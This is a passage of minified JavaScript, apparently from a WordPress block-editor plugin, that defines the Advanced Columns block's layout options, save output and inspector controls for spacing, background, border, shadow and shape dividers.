0!==e.backgroundOverlayPosition&&(b=m[e.backgroundOverlayPosition]),{...{...(0,A.omit)(e,["columnsGap","paddingType","paddingTypeTablet","paddingTypeMobile","paddingTop","paddingTopTablet","paddingTopMobile","paddingRight","paddingRightTablet","paddingRightMobile","paddingBottom","paddingBottomTablet","paddingBottomMobile","paddingLeft","paddingLeftTablet","paddingLeftMobile","marginType","marginTypeTablet","marginTypeMobile","marginTop","marginTopTablet","marginTopMobile","marginBottom","marginBottomTablet","marginBottomMobile","borderType","borderTop","borderRight","borderBottom","borderLeft","borderRadiusType","borderRadiusTop","borderRadiusRight","borderRadiusBottom","borderRadiusLeft"]),...!(0,h.FH)(t)&&{padding:t},...!(0,h.FH)(l)&&{paddingTablet:l},...!(0,h.FH)(o)&&{paddingMobile:o},...!(0,h.FH)(a)&&{margin:a},...!(0,h.FH)(n)&&{marginTablet:n},...!(0,h.FH)(r)&&{marginMobile:r},...!(0,h.FH)(i)&&{border:i},...!(0,h.FH)(s)&&{borderRadius:s},...!(0,h.FH)(c)&&{backgroundImage:c},...!(0,h.FH)(u)&&{backgroundPosition:u},...!(0,h.FH)(d)&&{backgroundOverlayImage:d},...!(0,h.FH)(b)&&{backgroundOverlayPosition:b}}}},isEligible:e=>["padding","paddingTablet","paddingMobile","paddingTop","paddingTopTablet","paddingTopMobile","paddingRight","paddingRightTablet","paddingRightMobile","paddingBottom","paddingBottomTablet","paddingBottomMobile","paddingLeft","paddingLeftTablet","paddingLeftMobile","margin","marginTablet","marginMobile","marginTop","marginTopTablet","marginTopMobile","marginBottom","marginBottomTablet","marginBottomMobile","borderType","border","borderTop","borderRight","borderBottom","borderLeft","borderRadiusType","borderRadius","borderRadiusTop","borderRadiusRight","borderRadiusBottom","borderRadiusLeft"].some((t=>!(0,A.isUndefined)(e[t])&&("number"==typeof e[t]||null===typeof e[t])))||void 0!==e.backgroundImageURL&&void 0!==e.backgroundImageID||void 0!==e.backgroundOverlayImageURL&&void 0!==e.backgroundOverlayImageID||void 0!==e.backgroundPosition&&"object"!=typeof e.backgroundPosition||void 0!==e.backgroundOverlayPosition&&"object"!=typeof e.backgroundOverlayPosition||void 0!==e.columnsGap,save:({attributes:e,className:t})=>{const l=e.columnsHTMLTag,o=e.hide?"":`has-desktop-${e.layout}-layout`,a=e.hideTablet?"":`has-tablet-${e.layoutTablet}-layout`,n=e.hideMobile?"":`has-mobile-${e.layoutMobile}-layout`,r=c()(t,`has-${e.columns}-columns`,o,a,n,{"hide-in-desktop":e.hide},{"hide-in-tablet":e.hideTablet},{"hide-in-mobile":e.hideMobile},{"has-reverse-columns-tablet":e.reverseColumnsTablet&&!e.hideTablet&&"collapsedRows"===e.layoutTablet},{"has-reverse-columns-mobile":e.reverseColumnsMobile&&!e.hideMobile&&"collapsedRows"===e.layoutMobile},`has-${e.columnsGap}-gap`,`has-vertical-${e.verticalAlign}`);return(0,i.createElement)(l,{className:r,id:e.id},(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-advanced-columns-overlay"}),(0,i.createElement)(va,{type:"top",front:!0,style:e.dividerTopType,fill:e.dividerTopColor,invert:e.dividerTopInvert}),(0,i.createElement)("div",{className:"innerblocks-wrap"},(0,i.createElement)(u.InnerBlocks.Content,null)),(0,i.createElement)(va,{type:"bottom",front:!0,style:e.dividerBottomType,fill:e.dividerBottomColor,invert:e.dividerBottomInvert}))}}];var Ca=_a,wa=l(4333),Ea={1:{equal:["100"]},2:{equal:["50","50"],oneTwo:["33.34","66.66"],twoOne:["66.66","33.34"],collapsedRows:["100","100"]},3:{equal:["33.33","33.33","33.33"],oneOneTwo:["25","25","50"],twoOneOne:["50","25","25"],oneTwoOne:["25","50","25"],oneThreeOne:["20","60","20"],collapsedRows:["100","100","100"]},4:{equal:["25","25","25","25"],twoColumnGrid:["100","100","100","100"],collapsedRows:["100","100","100","100"]},5:{equal:["20","20","20","20","20"],collapsedRows:["100","100","100","100","100"]},6:{equal:["16.66","16.66","16.66","16.66","16.66","16.66"],twoColumnGrid:["100","100","100","100","100","100"],threeColumnGrid:["100","100","100","100","100","100"],collapsedRows:["100","100","100","100","100","100"]}},xa=({attributes:e,setAttributes:t})=>(0,i.createElement)(u.BlockControls,null,(0,i.createElement)(u.BlockVerticalAlignmentToolbar,{onChange:l=>e.verticalAlign===l?t({verticalAlign:"unset"}):t({verticalAlign:l}),value:"flex-start"===e.verticalAlign?"top":"flex-end"===e.verticalAlign?"bottom":e.verticalAlign})),Sa=({label:e,onClick:t,layout:l,layoutTablet:a,layoutMobile:n,columns:s})=>{const d=(0,m.useSelect)((e=>{const{getView:t}=e("themeisle-gutenberg/data"),{__experimentalGetPreviewDeviceType:l}=!!e("core/edit-post")&&e("core/edit-post");return l?l():t()}),[]);let u;return"Desktop"===d?u=l:"Tablet"===d?u=a:"Mobile"===d&&(u=n),(0,i.createElement)(g.n9,{label:e,className:"wp-block-themeisle-blocks-advanced-columns-layout-control"},1===s&&(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Single Row","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"equal"===u}),onClick:()=>t("equal")},(0,r.colsFull)()))||2===s&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Equal","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"equal"===u}),onClick:()=>t("equal")},(0,r.cols2Equal)())),(0,i.createElement)(p.Tooltip,{text:(0,o.__)("1:2","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"oneTwo"===u}),onClick:()=>t("oneTwo")},(0,r.cols12)())),(0,i.createElement)(p.Tooltip,{text:(0,o.__)("2:1","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"twoOne"===u}),onClick:()=>t("twoOne")},(0,r.cols21)())),("Mobile"==d||"Tablet"==d)&&(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Collapsed Rows","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"collapsedRows"===u}),onClick:()=>t("collapsedRows")},(0,r.rowsCollapsed)())))||3===s&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Equal","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"equal"===u}),onClick:()=>t("equal")},(0,r.cols3Equal)())),(0,i.createElement)(p.Tooltip,{text:(0,o.__)("1:1:2","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"oneOneTwo"===u}),onClick:()=>t("oneOneTwo")},(0,r.cols112)())),(0,i.createElement)(p.Tooltip,{text:(0,o.__)("2:1:1","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"twoOneOne"===u}),onClick:()=>t("twoOneOne")},(0,r.cols211)())),(0,i.createElement)(p.Tooltip,{text:(0,o.__)("1:2:1","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"oneTwoOne"===u}),onClick:()=>t("oneTwoOne")},(0,r.cols121)())),(0,i.createElement)(p.Tooltip,{text:(0,o.__)("1:3:1","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"oneThreeOne"===u}),onClick:()=>t("oneThreeOne")},(0,r.cols131)())),("Mobile"==d||"Tablet"==d)&&(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Collapsed Rows","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"collapsedRows"===u}),onClick:()=>t("collapsedRows")},(0,r.rowsCollapsed)())))||4===s&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Equal","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"equal"===u}),onClick:()=>t("equal")},(0,r.cols4Equal)())),("Mobile"==d||"Tablet"==d)&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Two Column Grid","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"twoColumnGrid"===u}),onClick:()=>t("twoColumnGrid")},(0,r.colsCollapsed)())),(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Collapsed Rows","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"collapsedRows"===u}),onClick:()=>t("collapsedRows")},(0,r.rowsCollapsed)()))))||5===s&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Equal","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"equal"===u}),onClick:()=>t("equal")},(0,r.cols5Equal)())),("Mobile"==d||"Tablet"==d)&&(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Collapsed Rows","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"collapsedRows"===u}),onClick:()=>t("collapsedRows")},(0,r.rowsCollapsed)())))||6===s&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Equal","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"equal"===u}),onClick:()=>t("equal")},(0,r.cols6Equal)())),("Mobile"==d||"Tablet"==d)&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Two Column Grid","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"twoColumnGrid"===u}),onClick:()=>t("twoColumnGrid")},(0,r.cols2Grid)())),(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Three Column Grid","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"threeColumnGrid"===u}),onClick:()=>t("threeColumnGrid")},(0,r.cols3Grid)())),(0,i.createElement)(p.Tooltip,{text:(0,o.__)("Collapsed Rows","otter-blocks")},(0,i.createElement)(p.Button,{className:c()("wp-block-themeisle-blocks-advanced-column-layout",{selected:"collapsedRows"===u}),onClick:()=>t("collapsedRows")},(0,r.rowsCollapsed)())))))},Ta=({attributes:e,setAttributes:t,getValue:l,updateColumnsWidth:a,dividerViewType:n,setDividerViewType:r,changeColumnsNumbers:s})=>{const c=(0,m.useSelect)((e=>{const{getView:t}=e("themeisle-gutenberg/data"),{__experimentalGetPreviewDeviceType:l}=!!e("core/edit-post")&&e("core/edit-post");return l?l():t()}),[]),{responsiveSetAttributes:d}=(0,k.Y)(t),[f,v]=(0,y.useTabSwitch)(e.id,"settings"),_=()=>{switch(c){case"Desktop":return"padding";case"Tablet":return"paddingTablet";case"Mobile":return"paddingMobile";default:return}},C=()=>{switch(c){case"Desktop":return"margin";case"Tablet":return"marginTablet";case"Mobile":return"marginMobile";default:return}},w=()=>{switch(c){case"Desktop":return"columnsWidth";case"Tablet":return"columnsWidthTablet";case"Mobile":return"columnsWidthMobile";default:return}};let E=()=>{var e,t,o;switch(c){case"Desktop":return l("columnsWidth");case"Tablet":return null!==(e=l("columnsWidthTablet"))&&void 0!==e?e:l("columnsWidth");case"Mobile":return null!==(t=null!==(o=l("columnsWidthMobile"))&&void 0!==o?o:l("columnsWidthTablet"))&&void 0!==t?t:l("columnsWidth");default:return}};E=E();let x=()=>{var t,l,o;switch(c){case"Desktop":return e.columnsHeightCustom;case"Tablet":return null!==(t=e.columnsHeightCustomTablet)&&void 0!==t?t:e.columnsHeightCustom;case"Mobile":return null!==(l=null!==(o=e.columnsHeightCustomMobile)&&void 0!==o?o:e.columnsHeightCustomTablet)&&void 0!==l?l:e.columnsHeightCustom;default:return}};x=x();const S="top"==n?e.dividerTopType:"bottom"==n?e.dividerBottomType:void 0,T=(e,l)=>{switch(l){case"Desktop":t({hide:e});break;case"Tablet":t({hideTablet:e});break;case"Mobile":t({hideMobile:e})}},B=(e,l)=>{"Tablet"===l?t({reverseColumnsTablet:e}):"Mobile"===l&&t({reverseColumnsMobile:e})},M=(e,t,l,o)=>"color"===e&&t?t:"image"===e&&l?`url( ${l} )`:"gradient"===e&&o?o:void 0;return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:f,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:v}),"settings"===f&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Columns & Layout","otter-blocks")},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Columns","otter-blocks"),value:e.columns,onChange:e=>{6>=e&&t({layout:"equal",layoutTablet:"equal",layoutMobile:"collapsedRows"}),6<e&&t({layout:"equal",layoutTablet:"equal",layoutMobile:"collapsedRows"}),1>=e&&t({layout:"equal",layoutTablet:"equal",layoutMobile:"equal"}),s(e)},min:1,max:6}),(0,i.createElement)(Sa,{label:(0,o.__)("Layout","otter-blocks"),columns:e.columns,layout:e.layout,layoutTablet:e.layoutTablet,layoutMobile:e.layoutMobile,onClick:l=>{switch(c){case"Desktop":t({layout:l}),a(e.columns,l);break;case"Tablet":t({layoutTablet:l});break;case"Mobile":t({layoutMobile:l})}}})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Section Structure","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.r4,{isSynced:e.isSynced,options:[{label:(0,o.__)("Maximum Content Width","otter-blocks"),value:w()},{label:(0,o.__)("Horizontal Align","otter-blocks"),value:"horizontalAlign",isHidden:void 0===l("columnsWidth")}],setAttributes:t}),(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes(w())||!1,className:"o-disabled"},(0,i.createElement)(g.n9,{label:(0,o.__)("Maximum Content Width","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{value:E,onChange:e=>d(e,["columnsWidth","columnsWidthTablet","columnsWidthMobile"])}),(0,i.createElement)(g.Cd,{values:["columnsWidth","columnsWidthTablet","columnsWidthMobile"],setAttributes:t}))),void 0!==l("columnsWidth")&&(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes("horizontalAlign")||!1,className:"o-disabled"},(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Horizontal Align","otter-blocks")},(0,i.createElement)(g.Ik,{value:l("horizontalAlign"),options:[{icon:"editor-alignleft",label:(0,o.__)("Left","otter-blocks"),value:"flex-start"},{icon:"editor-aligncenter",label:(0,o.__)("Center","otter-blocks"),value:"center"},{icon:"editor-alignright",label:(0,o.__)("Right","otter-blocks"),value:"flex-end"}],onChange:l=>(l=>{if(e.horizontalAlign===l)return t({horizontalAlign:"unset"});t({horizontalAlign:l})})(l),hasIcon:!0}))),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Minimum Height","otter-blocks"),value:e.columnsHeight,options:[{label:(0,o.__)("Default","otter-blocks"),value:"auto"},{label:(0,o.__)("Fit to Screen","otter-blocks"),value:"100vh"},{label:(0,o.__)("Custom","otter-blocks"),value:"custom"}],onChange:e=>t({columnsHeight:e})}),"custom"===e.columnsHeight&&(0,i.createElement)(g.n9,{label:(0,o.__)("Custom Height","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{value:x,onChange:e=>{switch(c){case"Desktop":t({columnsHeightCustom:e});break;case"Tablet":t({columnsHeightCustomTablet:e});break;case"Mobile":t({columnsHeightCustomMobile:e})}}}),(0,i.createElement)(g.Cd,{values:["columnsHeightCustom","columnsHeightCustomTablet","columnsHeightCustomMobile"],setAttributes:t})),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("HTML Tag","otter-blocks"),value:e.columnsHTMLTag,options:[{label:(0,o.__)("Default (div)","otter-blocks"),value:"div"},{label:"section",value:"section"},{label:"header",value:"header"},{label:"footer",value:"footer"},{label:"article",value:"article"},{label:"main",value:"main"}],onChange:e=>t({columnsHTMLTag:e})})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Responsive","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Hide this section on Desktop devices?","otter-blocks"),checked:e.hide,onChange:e=>T(e,"Desktop")}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Hide this section on Tablet devices?","otter-blocks"),checked:e.hideTablet,onChange:e=>T(e,"Tablet")}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Hide this section on Mobile devices?","otter-blocks"),checked:e.hideMobile,onChange:e=>T(e,"Mobile")}),(0,i.createElement)("hr",null),!e.hideTablet&&"collapsedRows"===e.layoutTablet&&(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Reverse Columns in Tablet devices?","otter-blocks"),checked:e.reverseColumnsTablet,onChange:e=>B(e,"Tablet")}),!e.hideMobile&&"collapsedRows"===e.layoutMobile&&(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Reverse Columns in Mobile devices?","otter-blocks"),checked:e.reverseColumnsMobile,onChange:e=>B(e,"Mobile")})),(0,i.createElement)(g.p,null))||"style"===f&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions","otter-blocks")},(0,i.createElement)(g.r4,{isSynced:e.isSynced,options:[{label:(0,o.__)("Padding","otter-blocks"),value:_()},{label:(0,o.__)("Margin","otter-blocks"),value:C()}],setAttributes:t}),(0,i.createElement)(g.n9,{label:(0,o.__)("Screen Type","otter-blocks")},(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes(_())||!1,className:"o-disabled"},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Padding","otter-blocks"),values:(()=>{switch(c){case"Desktop":return l("padding");case"Tablet":return(0,A.merge)({...l("padding")},l("paddingTablet"));case"Mobile":return(0,A.merge)({...l("padding")},l("paddingTablet"),l("paddingMobile"));default:return}})(),inputProps:{min:0,max:500},onChange:l=>{switch((0,h.CJ)(l)&&(l=void 0),c){case"Desktop":return t({padding:l});case"Tablet":return t({paddingTablet:(0,h.cg)(l,e.padding)});case"Mobile":return t({paddingMobile:(0,h.cg)(l,{...e.padding,...e.paddingTablet})});default:return}},resetValues:ka.attributes.padding.default})),(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes(C())||!1,className:"o-disabled"},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Margin","otter-blocks"),values:(()=>{switch(c){case"Desktop":return l("margin");case"Tablet":return(0,A.merge)({...l("margin")},l("marginTablet"));case"Mobile":return(0,A.merge)({...l("margin")},l("marginTablet"),l("marginMobile"));default:return}})(),inputProps:{min:-500,max:500},sides:["top","bottom"],onChange:l=>{switch((0,h.CJ)(l)&&(l=void 0),"object"==typeof l&&(l=Object.fromEntries(Object.entries(l).filter((([e,t])=>null!==t)))),c){case"Desktop":return t({margin:l});case"Tablet":return t({marginTablet:(0,h.cg)(l,e.margin)});case"Mobile":return t({marginMobile:(0,h.cg)(l,{...e.margin,...e.marginTablet})});default:return}},resetValues:ka.attributes.margin.default})))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Background & Content","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.Ed,{label:(0,o.__)("Text","otter-blocks"),colorValue:e.color,onColorChange:e=>t({color:e}),className:"is-list is-first"}),(0,i.createElement)(g.Ed,{label:(0,o.__)("Link","otter-blocks"),colorValue:e.linkColor,onColorChange:e=>t({linkColor:e}),className:"is-list"}),(0,i.createElement)(g.jj,{label:(0,o.__)("Background","otter-blocks"),indicator:M(e.backgroundType,e.backgroundColor,e.backgroundImage?.url,e.backgroundGradient)},(0,i.createElement)(g.Zo,{backgroundType:e.backgroundType,backgroundColor:e.backgroundColor,image:e.backgroundImage,gradient:e.backgroundGradient,focalPoint:e.backgroundPosition,backgroundAttachment:e.backgroundAttachment,backgroundRepeat:e.backgroundRepeat,backgroundSize:e.backgroundSize,changeBackgroundType:e=>t({backgroundType:e}),changeImage:e=>{t({backgroundImage:(0,A.pick)(e,["id","url"])})},removeImage:()=>t({backgroundImage:void 0}),changeColor:e=>t({backgroundColor:e}),changeGradient:e=>t({backgroundGradient:e}),changeBackgroundAttachment:e=>t({backgroundAttachment:e}),changeBackgroundRepeat:e=>t({backgroundRepeat:e}),changeFocalPoint:e=>t({backgroundPosition:e}),changeBackgroundSize:e=>t({backgroundSize:e})})),(0,i.createElement)(g.jj,{label:(0,o.__)("Background Overlay","otter-blocks"),indicator:M(e.backgroundOverlayType,e.backgroundOverlayColor,e.backgroundOverlayImage?.url,e.backgroundOverlayGradient)},(0,i.createElement)(g.RF,{backgroundType:e.backgroundOverlayType,backgroundColor:e.backgroundOverlayColor,image:e.backgroundOverlayImage,gradient:e.backgroundOverlayGradient,focalPoint:e.backgroundOverlayPosition,backgroundAttachment:e.backgroundOverlayAttachment,backgroundRepeat:e.backgroundOverlayRepeat,backgroundSize:e.backgroundOverlaySize,backgroundOpacity:e.backgroundOverlayOpacity,backgroundFilterBlur:e.backgroundOverlayFilterBlur,backgroundFilterBrightness:e.backgroundOverlayFilterBrightness,backgroundFilterContrast:e.backgroundOverlayFilterContrast,backgroundFilterGrayscale:e.backgroundOverlayFilterGrayscale,backgroundFilterHue:e.backgroundOverlayFilterHue,backgroundFilterSaturate:e.backgroundOverlayFilterSaturate,backgroundBlend:e.backgroundOverlayBlend,changeBackgroundType:e=>t({backgroundOverlayType:e}),changeImage:e=>{t({backgroundOverlayImage:(0,A.pick)(e,["id","url"])})},removeImage:()=>t({backgroundOverlayImage:void 0}),changeColor:e=>t({backgroundOverlayColor:e}),changeGradient:e=>t({backgroundOverlayGradient:e}),changeBackgroundAttachment:e=>t({backgroundOverlayAttachment:e}),changeBackgroundRepeat:e=>t({backgroundOverlayRepeat:e}),changeFocalPoint:e=>t({backgroundOverlayPosition:e}),changeBackgroundSize:e=>t({backgroundOverlaySize:e}),changeOpacity:e=>t({backgroundOverlayOpacity:e}),changeFilterBlur:e=>t({backgroundOverlayFilterBlur:e}),changeFilterBrightness:e=>t({backgroundOverlayFilterBrightness:e}),changeFilterContrast:e=>t({backgroundOverlayFilterContrast:e}),changeFilterGrayscale:e=>t({backgroundOverlayFilterGrayscale:e}),changeFilterHue:e=>t({backgroundOverlayFilterHue:e}),changeFilterSaturate:e=>t({backgroundOverlayFilterSaturate:e}),changeBlend:e=>t({backgroundOverlayBlend:e})})),(0,i.createElement)(g.Ed,{label:(0,o.__)("Text Hover","otter-blocks"),colorValue:e.colorHover,onColorChange:e=>t({colorHover:e}),className:"is-list"})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border","otter-blocks"),className:"o-section-border-container",initialOpen:!1},(0,i.createElement)(g.Ed,{label:(0,o.__)("Border Color","otter-blocks"),colorValue:e.borderColor,onColorChange:e=>t({borderColor:e})}),(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Border Width","otter-blocks"),values:e.border,inputProps:{min:0,max:500},units:[{value:"px",label:"px"}],onChange:e=>{(0,h.CJ)(e)&&(e=void 0),t({border:e})}}),(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Border Radius","otter-blocks"),values:e.borderRadius,inputProps:{min:0,max:500},units:[{value:"px",label:"px"},{value:"%",label:"%"}],id:"o-border-raduis-box",onChange:e=>{(0,h.CJ)(e)&&(e=void 0),t({borderRadius:e})}}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Box Shadow","otter-blocks"),checked:e.boxShadow,onChange:()=>t({boxShadow:!e.boxShadow})}),e.boxShadow&&(0,i.createElement)(g.Fi,{label:(0,o.__)("Border Shadow","otter-blocks")},(0,i.createElement)(u.__experimentalColorGradientControl,{label:(0,o.__)("Shadow Color","otter-blocks"),colorValue:e.boxShadowColor,onColorChange:l=>t({boxShadowColor:100>e.boxShadowColorOpacity&&l?.includes("var(")?getComputedStyle(document.documentElement,null).getPropertyValue(l?.replace("var(","")?.replace(")","")):l})}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Opacity","otter-blocks"),value:e.boxShadowColorOpacity,onChange:l=>{const o={boxShadowColorOpacity:l};100>l&&e.boxShadowColor?.includes("var(")&&(o.boxShadowColor=getComputedStyle(document.documentElement,null).getPropertyValue(e.boxShadowColor.replace("var(","").replace(")",""))),t(o)},min:0,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Blur","otter-blocks"),value:e.boxShadowBlur,onChange:e=>t({boxShadowBlur:e}),min:0,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Spread","otter-blocks"),value:e.boxShadowSpread,onChange:e=>t({boxShadowSpread:e}),min:-100,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Horizontal","otter-blocks"),value:e.boxShadowHorizontal,onChange:e=>t({boxShadowHorizontal:e}),min:-100,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Vertical","otter-blocks"),value:e.boxShadowVertical,onChange:e=>t({boxShadowVertical:e}),min:-100,max:100}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Shape Divider","otter-blocks"),initialOpen:!1,className:"wp-block-themeisle-shape-divider"},(0,i.createElement)(g.Lp,{label:(0,o.__)("Sides","otter-blocks"),options:[{label:(0,o.__)("Top","otter-blocks"),value:"top"},{label:(0,o.__)("Bottom","otter-blocks"),value:"bottom"}],value:n,onChange:r}),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Type","otter-blocks"),value:S,options:[{label:(0,o.__)("None","otter-blocks"),value:"none"},{label:(0,o.__)("Triangle","otter-blocks"),value:"bigTriangle"},{label:(0,o.__)("Right Curve","otter-blocks"),value:"rightCurve"},{label:(0,o.__)("Curve","otter-blocks"),value:"curve"},{label:(0,o.__)("Slant","otter-blocks"),value:"slant"},{label:(0,o.__)("Cloud","otter-blocks"),value:"cloud"}],onChange:e=>{"top"==n?t({dividerTopType:e}):"bottom"==n&&t({dividerBottomType:e})}}),"none"!==S&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(g.Ed,{label:(0,o.__)("Color","otter-blocks"),colorValue:"top"==n?e.dividerTopColor:"bottom"==n?e.dividerBottomColor:void 0,onColorChange:e=>{"top"==n?t({dividerTopColor:e}):"bottom"==n&&t({dividerBottomColor:e})}}),(0,i.createElement)(g.n9,{label:(0,o.__)("Width","otter-blocks")},(0,i.createElement)(p.RangeControl,{value:(()=>{var t,l,o,a,r,i,s,d,u,b,m,p;if("top"==n)switch(c){case"Desktop":return null!==(t=e.dividerTopWidth)&&void 0!==t?t:100;case"Tablet":return null!==(l=null!==(o=e.dividerTopWidthTablet)&&void 0!==o?o:e.dividerTopWidth)&&void 0!==l?l:100;case"Mobile":return null!==(a=null!==(r=null!==(i=e.dividerTopWidthMobile)&&void 0!==i?i:e.dividerTopWidthTablet)&&void 0!==r?r:e.dividerTopWidth)&&void 0!==a?a:100}else if("bottom"==n)switch(c){case"Desktop":return null!==(s=e.dividerBottomWidth)&&void 0!==s?s:100;case"Tablet":return null!==(d=null!==(u=e.dividerBottomWidthTablet)&&void 0!==u?u:e.dividerBottomWidth)&&void 0!==d?d:100;case"Mobile":return null!==(b=null!==(m=null!==(p=e.dividerBottomWidthMobile)&&void 0!==p?p:e.dividerBottomWidthTablet)&&void 0!==m?m:e.dividerBottomWidth)&&void 0!==b?b:100}})(),onChange:e=>{if("top"==n)switch(c){case"Desktop":t({dividerTopWidth:e});break;case"Tablet":t({dividerTopWidthTablet:e});break;case"Mobile":t({dividerTopWidthMobile:e})}else if("bottom"==n)switch(c){case"Desktop":t({dividerBottomWidth:e});break;case"Tablet":t({dividerBottomWidthTablet:e});break;case"Mobile":t({dividerBottomWidthMobile:e})}},step:.1,min:0,max:500})),(0,i.createElement)(g.n9,{label:(0,o.__)("Height","otter-blocks")},(0,i.createElement)(p.RangeControl,{value:(()=>{if("top"==n)switch(c){case"Desktop":return e.dividerTopHeight;case"Tablet":return e.dividerTopHeightTablet;case"Mobile":return e.dividerTopHeightMobile}else if("bottom"==n)switch(c){case"Desktop":return e.dividerBottomHeight;case"Tablet":return e.dividerBottomHeightTablet;case"Mobile":return e.dividerBottomHeightMobile}})(),onChange:e=>{if("top"==n)switch(c){case"Desktop":t({dividerTopHeight:e});break;case"Tablet":t({dividerTopHeightTablet:e});break;case"Mobile":t({dividerTopHeightMobile:e})}else if("bottom"==n)switch(c){case"Desktop":t({dividerBottomHeight:e});break;case"Tablet":t({dividerBottomHeightTablet:e});break;case"Mobile":t({dividerBottomHeightMobile:e})}},step:.1,min:0,max:500})),"curve"!==S&&"cloud"!==S&&(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Invert Shape Divider","otter-blocks"),checked:(()=>{switch(n){case"top":return e.dividerTopInvert;case"bottom":return 